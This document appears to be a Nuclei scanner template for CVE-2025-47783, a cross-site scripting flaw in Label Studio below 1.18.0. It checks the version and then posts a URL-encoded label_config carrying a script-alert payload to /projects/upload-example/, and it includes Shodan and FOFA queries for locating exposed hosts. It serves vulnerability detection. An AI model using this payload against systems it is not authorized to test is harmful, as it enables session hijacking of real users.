Label Studio < 1.18.0 - Reflected XSS

id: CVE-2025-47783

info:
  name: Label Studio < 1.18.0 - Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    Label Studio < 1.18.0 contains a stored XSS caused by improper sanitization in POST /projects/upload-example/ endpoint, letting attackers inject malicious scripts to hijack sessions and perform unauthorized actions, exploit requires sending crafted requests.
  impact: |
    Attackers can hijack user sessions, steal data, and perform unauthorized actions via injected scripts.
  remediation: |
    Upgrade to version 1.18.0 or later.
  reference:
    - https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: humansignal
    product: label-studio
    shodan-query: title:"Label Studio"
    fofa-query: title="Label Studio"
  tags: label-studio,xss,reflected

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "label-studio")'
          - 'compare_versions(lsversion, "< 1.18.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        part: body
        regex:
          - '"release":\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
        group: 1
        internal: true

  - raw:
      - |
        POST /projects/upload-example/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22%24textjmwwi%26lt%3bscript%26gt%3balert(document.domain)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022059e7488726a01078b95911794f3531c6dc025cdeee18ef73cfd45eee1fd780620221008d944d3b2f8b2027595e8fad74c7c9c05ad0868d4bf92497c6e4424914e817cc:922c64590222798bb761d5b6d8e72950